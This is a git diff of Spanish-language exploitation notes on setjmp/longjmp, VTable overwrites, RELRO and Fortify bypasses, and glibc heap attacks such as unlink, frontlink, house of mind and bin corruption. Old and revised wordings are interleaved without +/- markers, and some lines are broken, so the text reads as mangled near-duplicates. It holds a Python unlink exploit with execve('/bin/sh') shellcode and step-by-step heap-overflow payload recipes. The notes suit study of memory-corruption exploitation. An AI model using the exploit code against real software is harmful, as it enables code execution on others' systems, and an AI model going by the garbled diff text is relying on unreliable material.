### **setjmp() & longjmp()**
|
||||
|
||||
|
@ -436,141 +268,20 @@ Hoy en día es muy **raro explotar esto**.
|
|||
|
||||
**`Setjmp()`** permite **guardar** el **contexto** (los registros)\
|
||||
**`longjmp()`** permite **restaurar** el **contexto**.\
|
||||
Los registros guardados son: `EBX, ESI, EDI, ESP, EIP, EBP`\
|
||||
Los **registros guardados** son: `EBX, ESI, EDI, ESP, EIP, EBP`\
|
||||
Lo que sucede es que EIP y ESP son pasados por la función **`PTR_MANGLE`**, por lo que las **arquitecturas vulnerables a este ataque son las mismas que las mencionadas anteriormente**.\
|
||||
Son útiles para la recuperación de errores o interrupciones.\
|
||||
Sin embargo, por lo que he leído, los otros registros no están protegidos, por lo que si hay un `call ebx`, `call esi` o `call edi` dentro de la función llamada, se puede tomar el control. O también se podría modificar EBP para modificar ESP.
|
||||
Sin embargo, por lo que he leído, los otros registros no están protegidos, **por lo que si hay un `call ebx`, `call esi` o `call edi`** dentro de la función llamada, se puede tomar el control. O también se podría modificar EBP para modificar ESP.
|
||||
|
||||
**VTable y VPTR en C++**
|
||||
|
||||
Cada clase tiene una **Vtable** que es un array de **punteros a métodos**.
|
||||
|
||||
Cada objeto de una **clase** tiene un **VPtr** que es un **puntero** al array de su clase. El VPtr es parte del encabezado de cada objeto, por lo que si se logra **sobrescribir** el **VPtr**, se podría **modificar** para **apuntar** a un método ficticio para que al ejecutar una función vaya al shellcode.
|
||||
Cada objeto de una **clase** tiene un **VPtr** que es un **puntero** al array de su clase. El VPtr es parte del encabezado de cada objeto, por lo que si se logra **sobrescribir** el **VPtr** se podría **modificar** para **apuntar** a un método ficticio para que al ejecutar una función vaya al shellcode.
|
||||
|
||||
## **Medidas preventivas y evasiones**
|
||||
|
||||
**Return-into-printf**
|
||||
|
||||
Es una técnica para convertir un desbordamiento de búfer en un error de cadena de formato. Consiste en sustituir el EIP para que apunte a un printf de la función y pasarle como argumento una cadena de formato manipulada para obtener valores sobre el estado del proceso.
|
||||
|
||||
**Ataque a librerías**
|
||||
|
||||
Las librerías están en una posición con 16bits de aleatoriedad = 65636 posibles direcciones. Si un servidor vulnerable llama a fork() el espacio de direcciones de memoria es clocado en el proceso hijo y se mantiene intacto. Por lo que se puede intentar hacer un brute force a la función usleep() de libc pasándole como argumento “16” de forma que cuando tarde más de lo normal en responder se habrá encontrado dicha función. Sabiendo dónde está dicha función se puede obtener delta\_mmap y calcular las demás.
|
||||
|
||||
La única forma de estar seguros de que el ASLR funciona es usando arquitectura de 64bits. Ahí no hay ataques de fuerza bruta.
|
||||
|
||||
### Relro
|
||||
|
||||
**Relro (Read only Relocation)** afecta los permisos de memoria de manera similar a NX. La diferencia es que mientras con NX hace que la pila sea ejecutable, RELRO hace que **ciertas cosas sean de solo lectura** por lo que no podemos escribir en ellas. La forma más común en la que he visto que esto sea un obstáculo es evitando que hagamos una **sobrescritura de la tabla `got`**, que se cubrirá más adelante. La tabla `got` contiene direcciones de funciones de libc para que el binario sepa cuáles son las direcciones y pueda llamarlas. Veamos cómo son los permisos de memoria para una entrada de la tabla `got` para un binario con y sin relro.
|
||||
|
||||
Con relro:
|
||||
```bash
|
||||
gef➤ vmmap
|
||||
Start End Offset Perm Path
|
||||
0x0000555555554000 0x0000555555555000 0x0000000000000000 r-- /tmp/tryc
|
||||
0x0000555555555000 0x0000555555556000 0x0000000000001000 r-x /tmp/tryc
|
||||
0x0000555555556000 0x0000555555557000 0x0000000000002000 r-- /tmp/tryc
|
||||
0x0000555555557000 0x0000555555558000 0x0000000000002000 r-- /tmp/tryc
|
||||
0x0000555555558000 0x0000555555559000 0x0000000000003000 rw- /tmp/tryc
|
||||
0x0000555555559000 0x000055555557a000 0x0000000000000000 rw- [heap]
|
||||
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||||
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||||
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||||
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||||
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||||
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
|
||||
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
|
||||
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
|
||||
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||||
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||||
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||||
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||||
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||||
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
|
||||
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
|
||||
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
|
||||
gef➤ p fgets
|
||||
$2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets>
|
||||
gef➤ search-pattern 0x7ffff7e4d100
|
||||
[+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory
|
||||
[+] In '/tmp/tryc'(0x555555557000-0x555555558000), permission=r--
|
||||
0x555555557fd0 - 0x555555557fe8 → "\x00\xd1\xe4\xf7\xff\x7f[...]"
|
||||
```
|
||||
Sin relro:
|
||||
```bash
|
||||
gef➤ vmmap
|
||||
Start End Offset Perm Path
|
||||
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-- /tmp/try
|
||||
0x0000000000401000 0x0000000000402000 0x0000000000001000 r-x /tmp/try
|
||||
0x0000000000402000 0x0000000000403000 0x0000000000002000 r-- /tmp/try
|
||||
0x0000000000403000 0x0000000000404000 0x0000000000002000 r-- /tmp/try
|
||||
0x0000000000404000 0x0000000000405000 0x0000000000003000 rw- /tmp/try
|
||||
0x0000000000405000 0x0000000000426000 0x0000000000000000 rw- [heap]
|
||||
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||||
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||||
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||||
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||||
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||||
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
|
||||
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
|
||||
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
|
||||
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||||
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||||
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||||
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||||
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||||
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
|
||||
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
|
||||
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
|
||||
gef➤ p fgets
|
||||
$2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets>
|
||||
gef➤ search-pattern 0x7ffff7e4d100
|
||||
[+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory
|
||||
[+] In '/tmp/try'(0x404000-0x405000), permission=rw-
|
||||
0x404018 - 0x404030 → "\x00\xd1\xe4\xf7\xff\x7f[...]"
|
||||
```
|
||||
Para el binario **sin relro**, podemos ver que la dirección de la entrada `got` para `fgets` es `0x404018`. Al observar los mapeos de memoria, vemos que cae entre `0x404000` y `0x405000`, lo cual tiene los **permisos `rw`**, lo que significa que podemos leer y escribir en ella. Para el binario **con relro**, vemos que la dirección de la tabla `got` para la ejecución del binario (pie está habilitado, por lo que esta dirección cambiará) es `0x555555557fd0`. En el mapeo de memoria de ese binario, cae entre `0x0000555555557000` y `0x0000555555558000`, lo cual tiene el permiso de memoria **`r`**, lo que significa que solo podemos leer de ella.
|
||||
|
||||
Entonces, ¿cuál es el **bypass**? El bypass típico que utilizo es simplemente no escribir en regiones de memoria que relro hace que sean de solo lectura, y **encontrar una forma diferente de lograr la ejecución de código**.
|
||||
|
||||
Ten en cuenta que para que esto suceda, el binario necesita conocer previamente a la ejecución las direcciones de las funciones:
|
||||
|
||||
* Enlace perezoso: La dirección de una función se busca la primera vez que se llama a la función. Por lo tanto, la `GOT` necesita tener permisos de escritura durante la ejecución.
|
||||
* Enlazar ahora: Las direcciones de las funciones se resuelven al principio de la ejecución, luego se otorgan permisos de solo lectura a secciones sensibles como .got, .dtors, .ctors, .dynamic, .jcr. `` `** ``-z relro`**`y`**`-z now\`\*\*
|
||||
|
||||
Para verificar si un programa utiliza Enlazar ahora, puedes hacer:
|
||||
```bash
|
||||
readelf -l /proc/ID_PROC/exe | grep BIND_NOW
|
||||
```
|
||||
Cuando el binario es cargado en memoria y una función es llamada por primera vez se salta a la PLT (Procedure Linkage Table), de aquí se realiza un salto (jmp) a la GOT y descubre que esa entrada no ha sido resuelta (contiene una dirección siguiente de la PLT). Por lo que invoca al Runtime Linker o rtfd para que resuelva la dirección y la guarde en la GOT.
|
||||
|
||||
Cuando se llama a una función se llama a la PLT, esta tiene la dirección de la GOT donde se almacena la dirección de la función, por lo que redirige el flujo allí y así se llama a la función. Sin embargo, si es la primera vez que se llama a la función, lo que hay en la GOT es la siguiente instrucción de la PLT, por lo tanto el flujo sigue el código de la PLT (rtfd) y averigua la dirección de la función, la guarda en la GOT y la llama.
|
||||
|
||||
Al cargar un binario en memoria el compilador le ha dicho en qué offset tiene que situar datos que se deben de cargar cuando se corre el programa.
|
||||
|
||||
Lazy binding —> La dirección de la función se busca la primera vez que se invoca dicha función, por lo que la GOT tiene permisos de escritura para que cuando se busque, se guarde ahí y no haya que volver a buscarla.
|
||||
|
||||
Bind now —> Las direcciones de las funciones se buscan al cargar el programa y se cambian los permisos de las secciones .got, .dtors, .ctors, .dynamic, .jcr a solo lectura. **-z relro** y **-z now**
|
||||
|
||||
A pesar de esto, en general los programas no están complicados con esas opciones luego estos ataques siguen siendo posibles.
|
||||
|
||||
**readelf -l /proc/ID\_PROC/exe | grep BIND\_NOW** —> Para saber si usan el BIND NOW
|
||||
|
||||
**Fortify Source -D\_FORTIFY\_SOURCE=1 o =2**
|
||||
|
||||
Trata de identificar las funciones que copian de un sitio a otro de forma insegura y cambiar la función por una función segura.
|
||||
|
||||
Por ej:\
|
||||
char buf\[16];\
|
||||
strcpy(but, source);
|
||||
|
||||
La identifica como insegura y entonces cambia strcpy() por \_\_strcpy\_chk() utilizando el tamaño del buffer como tamaño máximo a copiar.
|
||||
|
||||
La diferencia entre **=1** o **=2** es que:
|
||||
|
||||
La segunda no permite que **%n** venga de una sección con permisos de escritura. Además el parámetro para acceso directo de argumentos solo puede ser usado si se usan los anteriores, es decir, solo se pueda usar **%3$d** si antes se ha usado **%2$d** y **%1$d**
|
||||
|
||||
Para mostrar el mensaje de error se usa el argv\[0], por lo que si se pone en el la dirección de otro sitio (como una variable global) el mensaje de error mostrará el contenido de dicha variable. Pag 191
|
||||
###
|
||||
|
||||
**Reemplazo de Libsafe**
|
||||
|
||||
|
@ -578,7 +289,7 @@ Se activa con: LD\_PRELOAD=/lib/libsafe.so.2\
|
|||
o\
|
||||
“/lib/libsave.so.2” > /etc/ld.so.preload
|
||||
|
||||
Se interceptan las llamadas a algunas funciones inseguras por otras seguras. No está estandarizado. (solo para x86, no para compilaxiones con -fomit-frame-pointer, no compilaciones estaticas, no todas las funciones vulnerables se vuelven seguras y LD\_PRELOAD no sirve en binarios con suid).
|
||||
Se interceptan las llamadas a algunas funciones inseguras por otras seguras. No está estandarizado. (solo para x86, no para compilaxiones con -fomit-frame-pointer, no compilaciones estáticas, no todas las funciones vulnerables se vuelven seguras y LD\_PRELOAD no sirve en binarios con suid).
|
||||
|
||||
**ASCII Armored Address Space**
|
||||
|
||||
|
@ -588,10 +299,6 @@ Consiste en cargar las librería compartidas de 0x00000000 a 0x00ffffff para que
|
|||
|
||||
Consiste en realiza un ROP de forma que se llame a la función strcpy@plt (de la plt) y se apunte a la entrada de la GOT y se copie el primer byte de la función a la que se quiere llamar (system()). Acto seguido se hace lo mismo apuntando a GOT+1 y se copia el 2ºbyte de system()… Al final se llama la dirección guardada en GOT que será system()
|
||||
|
||||
**Falso EBP**
|
||||
|
||||
Para las funciones que usen el EBP como registro para apuntar a los argumentos al modificar el EIP y apuntar a system() se debe haber modificado el EBP también para que apunte a una zona de memoria que tenga 2 bytes cuales quiera y después la dirección a &”/bin/sh”.
|
||||
|
||||
**Jaulas con chroot()**
|
||||
|
||||
debootstrap -arch=i386 hardy /home/user —> Instala un sistema básico bajo un subdirectorio específico
|
||||
|
@ -657,71 +364,71 @@ Al llamar a unlink() usará como P->fd los primeros datos del 2º trozo por lo q
|
|||
**from struct import \***
|
||||
|
||||
**import os**
|
||||
|
||||
**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de relleno**
|
||||
|
||||
**shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\**
|
||||
|
||||
**"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \\**
|
||||
|
||||
**"\x80\xe8\xdc\xff\xff\xff/bin/sh";**
|
||||
|
||||
**prev\_size = pack("\<I”, 0xfffffff0) #Es crucial que el bit que indica que el fragmento anterior está libre esté en 1**
|
||||
**prev\_size = pack("\<I”, 0xfffffff0) #Interesa que el bit que indica que el anterior trozo está libre esté a 1**
|
||||
|
||||
**fake\_size = pack("\<I”, 0xfffffffc) #-4, para que piense que el tamaño del tercer fragmento está 4 bytes detrás (apunta a prev\_size) ya que es donde verifica si el segundo fragmento está libre**
|
||||
**fake\_size = pack("\<I”, 0xfffffffc) #-4, para que piense que el “size” del 3º trozo está 4bytes detrás (apunta a prev\_size) pues es ahí donde mira si el 2º trozo está libre**
|
||||
|
||||
**addr\_sc = pack("\<I", 0x0804a008 + 8) #Al principio del payload añadimos 8 bytes de relleno**
|
||||
**addr\_sc = pack("\<I", 0x0804a008 + 8) #En el payload al principio le vamos a poner 8bytes de relleno**
|
||||
|
||||
**got\_free = pack("\<I", 0x08048300 - 12) #Dirección de free() en la plt-12 (será la dirección que se sobrescriba para que se ejecute la shellcode la segunda vez que se llame a free)**
|
||||
**got\_free = pack("\<I", 0x08048300 - 12) #Dirección de free() en la plt-12 (será la dirección que se sobrescrita para que se lanza la shellcode la 2º vez que se llame a free)**
|
||||
|
||||
**payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) #Como se mencionó, el payload comienza con 8 bytes de relleno por diseño**
|
||||
**payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) # Como se dijo el payload comienza con 8 bytes de relleno porque sí**
|
||||
|
||||
**payload += prev\_size + fake\_size + got\_free + addr\_sc #Se modifica el segundo fragmento, got\_free apunta a donde guardaremos la dirección addr\_sc + 12**
|
||||
**payload += prev\_size + fake\_size + got\_free + addr\_sc #Se modifica el 2º trozo, el got\_free apunta a donde vamos a guardar la direccion addr\_sc + 12**
|
||||
|
||||
**os.system("./8.3.o " + payload)**
|
||||
|
||||
**unset() liberando en sentido inverso (wargame)**
|
||||
|
||||
Controlamos 3 fragmentos consecutivos y se liberan en orden inverso al ser reservados.
|
||||
Estamos controlando 3 chunks consecutivos y se liberan en orden inverso al reservado.
|
||||
|
||||
En este caso:
|
||||
En ese caso:
|
||||
|
||||
En el fragmento c se coloca la shellcode
|
||||
En el chunck c se pone el shellcode
|
||||
|
||||
Se utiliza el fragmento a para sobrescribir el b de manera que el tamaño tenga el bit PREV\_INUSE desactivado, haciéndolo parecer libre.
|
||||
El chunck a lo usamos para sobreescribir el b de forma que el el size tenga el bit PREV\_INUSE desactivado de forma que piense que el chunck a está libre.
|
||||
|
||||
Además, se sobrescribe en la cabecera b el tamaño para que sea -4.
|
||||
Además, se sobreescribe en la cabecera b el size para que valga -4.
|
||||
|
||||
Entonces, el programa creerá que "a" está libre y en un bin, por lo que llamará a unlink() para desvincularlo. Sin embargo, al tener el tamaño PREV\_SIZE como -4, creerá que el fragmento "a" realmente comienza en b+4. Es decir, realizará un unlink() en un fragmento que comienza en b+4, por lo que en b+12 estará el puntero "fd" y en b+16 estará el puntero "bk".
|
||||
Entonces, el programa se pensará que “a” está libre y en un bin, por lo que llamará a unlink() para desenlazarlo. Sin embargo, como la cabecera PREV\_SIZE vale -4. Se pensará que el trozo de “a” realmente empieza en b+4. Es decir, hará un unlink() a un trozo que comienza en b+4, por lo que en b+12 estará el puntero “fd” y en b+16 estará el puntero “bk”.
|
||||
|
||||
De esta forma, si colocamos la dirección de la shellcode en bk y la dirección de la función "puts()" -12 en fd, tendremos nuestro payload.
|
||||
De esta forma, si en bk ponemos la dirección a la shellcode y en fd ponemos la dirección a la función “puts()”-12 tenemos nuestro payload.
|
||||
|
||||
**Técnica de Frontlink**
|
||||
|
||||
Se llama a frontlink cuando se libera algo y ninguno de sus fragmentos contiguos está libre, en lugar de llamar a unlink(), se llama directamente a frontlink().
|
||||
Se llama a frontlink cuando se libera algo y ninguno de sus trozos contiguos no son libres, no se llama a unlink() sino que se llama directamente a frontlink().
|
||||
|
||||
Vulnerabilidad útil cuando el malloc atacado nunca se libera (free()).
|
||||
Vulnerabilidad útil cuando el malloc que se ataca nunca es liberado (free()).
|
||||
|
||||
Requiere:
|
||||
Necesita:
|
||||
|
||||
Un buffer que pueda desbordarse con la función de entrada de datos
|
||||
|
||||
Un buffer contiguo que debe ser liberado y cuyo campo fd de la cabecera se modificará gracias al desbordamiento del buffer anterior
|
||||
Un buffer contiguo a este que debe ser liberado y al que se le modificará el campo fd de su cabecera gracias al desbordamiento del buffer anterior
|
||||
|
||||
Un buffer a liberar con un tamaño mayor a 512 pero menor que el buffer anterior
|
||||
|
||||
Un buffer declarado antes del paso 3 que permita sobrescribir el prev\_size de este
|
||||
Un buffer declarado antes del paso 3 que permita sobreescribir el prev\_size de este
|
||||
|
||||
De esta forma, al sobrescribir en dos mallocs de forma descontrolada y en uno de forma controlada pero que solo se libera ese uno, podemos realizar un exploit.
|
||||
De esta forma logrando sobres cribar en dos mallocs de forma descontrolada y en uno de forma controlada pero que solo se libera ese uno, podemos hacer un exploit.
|
||||
|
||||
**Vulnerabilidad double free()**
|
||||
|
||||
Si se llama a free() dos veces con el mismo puntero, quedan dos bins apuntando a la misma dirección.
|
||||
Si se llama dos veces a free() con el mismo puntero, quedan dos bins apuntando a la misma dirección.
|
||||
|
||||
Si se desea volver a utilizar uno, se asignará sin problemas. Si se desea utilizar otro, se asignará el mismo espacio, por lo que los punteros "fd" y "bk" estarán falsificados con los datos que escriba la reserva anterior.
|
||||
En caso de querer volver a usar uno se asignaría sin problemas. En caso de querer usar otro, se le asignaría el mismo espacio por lo que tendríamos los punteros “fd” y “bk” falseados con los datos que escribirá la reserva anterior.
|
||||
|
||||
**After free()**
|
||||
|
||||
Un puntero liberado previamente se utiliza nuevamente sin control.
|
||||
Un puntero previamente liberado es usado de nuevo sin control.
|
||||
|
||||
## **8 Heap Overflows: Exploits avanzados**
|
||||
|
||||
|
@ -729,9 +436,9 @@ Las técnicas de Unlink() y FrontLink() fueron eliminadas al modificar la funci
|
|||
|
||||
**The house of mind**
|
||||
|
||||
Solo se necesita una llamada a free() para provocar la ejecución de código arbitrario. Es importante buscar un segundo fragmento que pueda ser desbordado por uno anterior y liberado.
|
||||
Solo una llamada a free() es necesaria para provocar la ejecución de código arbitrario. Interesa buscar un segundo trozo que puede ser desbordado por uno anterior y liberado.
|
||||
|
||||
Una llamada a free() provoca la llamada a public\_fREe(mem), que hace:
|
||||
Una llamada a free() provoca llamar a public\_fREe(mem), este hace:
|
||||
|
||||
mstate ar\_ptr;
|
||||
|
||||
|
@ -739,7 +446,7 @@ mchunkptr p;
|
|||
|
||||
…
|
||||
|
||||
p = mem2chunk(mes); —> Devuelve un puntero a la dirección donde comienza el fragmento (mem-8)
|
||||
p = mem2chunk(mes); —> Devuelve un puntero a la dirección donde comienza el trozo (mem-8)
|
||||
|
||||
…
|
||||
|
||||
|
@ -751,11 +458,11 @@ ar\_ptr = arena\_for\_chunk(p); —> chunk\_non\_main\_arena(ptr)?heap\_for\_ptr
|
|||
|
||||
}
|
||||
|
||||
En \[1] se comprueba el campo size con el bit NON\_MAIN\_ARENA, que se puede alterar para que la comprobación devuelva true y ejecute heap\_for\_ptr(), que realiza un and a "mem" dejando en 0 los 2.5 bytes menos significativos (por ejemplo, de 0x0804a000 a 0x08000000) y accede a 0x08000000->ar\_ptr (como si fuera un struct heap\_info)
|
||||
En \[1] comprueba el campo size el bit NON\_MAIN\_ARENA, el cual se puede alterar para que la comprobación devuelva true y ejecute heap\_for\_ptr() que hace un and a “mem” dejando a 0 los 2.5 bytes menos importantes (en nuestro caso de 0x0804a000 deja 0x08000000) y accede a 0x08000000->ar\_ptr (como si fuese un struct heap\_info)
|
||||
|
||||
De esta forma, si podemos controlar un fragmento, por ejemplo en 0x0804a000, y se va a liberar un fragmento en **0x081002a0**, podemos llegar a la dirección 0x08100000 y escribir lo que queramos, por ejemplo **0x0804a000**. Cuando se libere este segundo fragmento, encontrará que heap\_for\_ptr(ptr)->ar\_ptr devuelve lo que hemos escrito en 0x08100000 (pues se aplica a 0x081002a0 el and que vimos antes y de ahí se extrae el valor de los 4 primeros bytes, el ar\_ptr)
|
||||
De esta forma si podemos controlar un trozo por ejemplo en 0x0804a000 y se va a liberar un trozo en **0x081002a0** podemos llegar a la dirección 0x08100000 y escribir lo que queramos, por ejemplo **0x0804a000**. Cuando este segundo trozo se libere se encontrará que heap\_for\_ptr(ptr)->ar\_ptr devuelve lo que hemos escrito en 0x08100000 (pues se aplica a 0x081002a0 el and que vimos antes y de ahí se saca el valor de los 4 primeros bytes, el ar\_ptr)
|
||||
|
||||
Se llama a \_int\_free(ar\_ptr, mem), es decir, **\_int\_free(0x0804a000, 0x081002a0)**\
|
||||
De esta forma se llama a \_int\_free(ar\_ptr, mem), es decir, **\_int\_free(0x0804a000, 0x081002a0)**\
|
||||
**\_int\_free(mstate av, Void\_t\* mem){**\
|
||||
…\
|
||||
bck = unsorted\_chunks(av);\
|
||||
|
@ -767,27 +474,27 @@ fwd->bk = p;
|
|||
|
||||
..}
|
||||
|
||||
Como vimos antes, podemos controlar el valor de av, ya que es lo que escribimos en el fragmento que se va a liberar.
|
||||
Como hemos visto antes podemos controlar el valor de av, pues es lo que escribimos en el trozo que se va a liberar.
|
||||
|
||||
Como se define unsorted\_chunks, sabemos que:\
|
||||
Tal y como se define unsorted\_chunks, sabemos que:\
|
||||
bck = \&av->bins\[2]-8;\
|
||||
fwd = bck->fd = \*(av->bins\[2]);\
|
||||
fwd->bk = \*(av->bins\[2] + 12) = p;
|
||||
|
||||
Por lo tanto, si escribimos el valor de \_\_DTOR\_END\_\_-12 en av->bins\[2], en la última instrucción se escribirá en \_\_DTOR\_END\_\_ la dirección del segundo fragmento.
|
||||
Por lo tanto si en av->bins\[2] escribimos el valor de \_\_DTOR\_END\_\_-12 en la última instrucción se escribirá en \_\_DTOR\_END\_\_ la dirección del segundo trozo.
|
||||
|
||||
Es decir, en el primer fragmento debemos colocar al inicio muchas veces la dirección de \_\_DTOR\_END\_\_-12, ya que av->bins\[2] lo tomará de allí.
|
||||
Es decir, en el primer trozo tenemos que poner al inicio muchas veces la dirección de \_\_DTOR\_END\_\_-12 porque de ahí la sacará av->bins\[2]
|
||||
|
||||
En la dirección donde caiga la dirección del segundo fragmento con los últimos 5 ceros, debemos escribir la dirección de este primer fragmento para que heap\_for\_ptr() piense que ar\_ptr está al inicio del primer fragmento y tome av->bins\[2] de allí.
|
||||
En la dirección que caiga la dirección del segundo trozo con los últimos 5 ceros hay que escribir la dirección a este primer trozo para que heap\_for\_ptr() piense que el ar\_ptr está al inicio del primer trozo y saque de ahí el av->bins\[2]
|
||||
|
||||
En el segundo fragmento y gracias al primero, sobrescribimos prev\_size con un salto de 0x0c y el tamaño con algo para activar -> NON\_MAIN\_ARENA
|
||||
En el segundo trozo y gracias al primero sobreescribimos el prev\_size con un jump 0x0c y el size con algo para activar -> NON\_MAIN\_ARENA
|
||||
|
||||
Luego, en el segundo fragmento, colocamos una gran cantidad de nops y finalmente la shellcode.
|
||||
A continuación en el trozo 2 ponemos un montón de nops y finalmente la shellcode
|
||||
|
||||
De esta forma, se llamará a \_int\_free(FRAGMENTO1, FRAGMENTO2) y seguirá las instrucciones para escribir en \_\_DTOR\_END\_\_ la dirección del prev\_size del FRAGMENTO2, el cual saltará a la shellcode.
|
||||
De esta forma se llamará a \_int\_free(TROZO1, TROZO2) y seguirá las instrucciones para escribir en \_\_DTOR\_END\_\_ la dirección del prev\_size del TROZO2 el cual saltará a la shellcode.
|
||||
Para apply esta técnica se requiere que se cumplan algunos requisitos adicionales que complican un poco más el payload.
|
||||
|
||||
Para aplicar esta técnica, se necesitan cumplir algunos requisitos adicionales que complican un poco más el payload.
|
||||
Esta técnica ya no es aplicable pues se aplicó casi el mismo parche que para unlink. Se comparan si el nuevo sitio al que se apunta también le está apuntando a él.
|
||||
Esta técnica ya no es aplicable ya que se aplicó casi el mismo parche que para unlink. Se comparan si el nuevo sitio al que se apunta también le está apuntando a él.
|
||||
|
||||
**Fastbin**
|
||||
|
||||
|
@ -890,27 +597,27 @@ bin->bk = bck; El penúltimo trozo pasa a ser el último, en caso de que bck apu
|
|||
bck->fd = bin; Se cierra la lista haciendo que este apunte a bin
|
||||
|
||||
Se necesita:
|
||||
Reservar dos malloc, de forma que se pueda hacer overflow al primero después de liberar el segundo e introducirlo en su bin.
|
||||
Reservar dos malloc, permitiendo un overflow en el primero después de liberar el segundo y colocarlo en su bin.
|
||||
|
||||
El malloc reservado con la dirección elegida por el atacante debe ser controlado por este.
|
||||
El malloc con la dirección elegida por el atacante debe ser controlado por él.
|
||||
|
||||
El objetivo es hacer un overflow a un heap que tenga un trozo liberado y en su bin debajo, para alterar su puntero bk. Si este trozo se convierte en el primero de la lista de bin y se reserva, se engañará al bin para que crea que el siguiente trozo está en una dirección falsa. Al reservar otro trozo, si el atacante tiene permisos en él, se le dará un trozo en la posición deseada para escribir en ella.
|
||||
El objetivo es hacer un overflow en un heap que tenga un trozo liberado y en su bin debajo, para alterar su puntero bk. Si este trozo se convierte en el primero de la lista de bin y se reserva, se engañará al bin haciéndole creer que el siguiente trozo está en una dirección falsa. Al reservar otro trozo, si el atacante tiene permisos en él, se le dará un trozo en la posición deseada para escribir en ella.
|
||||
|
||||
Para ejecutar la vulnerabilidad rápidamente, se deben seguir estos pasos: reservar el trozo vulnerable, reservar el trozo a modificar, liberar el segundo trozo, reservar un trozo más grande que el segundo, modificar el trozo vulnerable con un overflow, reservar un trozo del mismo tamaño que el vulnerado y reservar un segundo trozo del mismo tamaño que apunte a la dirección elegida.
|
||||
Para ejecutar la vulnerabilidad rápidamente, se debe reservar el trozo vulnerable, reservar el trozo a modificar, liberar este trozo, reservar un trozo más grande, modificar el trozo (vulnerabilidad), reservar un trozo del mismo tamaño y otro que apunte a la dirección elegida.
|
||||
|
||||
Para proteger este ataque, se realiza una comprobación para verificar que el trozo no es falso: se verifica si bck->fd apunta a la víctima. Para superar esta protección, el atacante debe poder escribir en la dirección de la víctima de alguna manera.
|
||||
Para protegerse, se realiza una comprobación para verificar que el trozo no es falso: se verifica si bck->fd apunta a la víctima. Para superar esta protección, el atacante debe poder escribir en la dirección adecuada la dirección de la víctima.
|
||||
|
||||
**Corrupción LargeBin**
|
||||
|
||||
Se requieren los mismos requisitos que antes y los trozos reservados deben ser mayores a 512. Se debe modificar el puntero bk y el tamaño del trozo modificado de forma que size - nb sea < MINSIZE.
|
||||
Se requieren los mismos requisitos y que los trozos reservados sean mayores a 512. Se debe modificar el puntero bk y el size del trozo modificado de forma que size - nb sea < MINSIZE.
|
||||
|
||||
**Heap Spraying**
|
||||
|
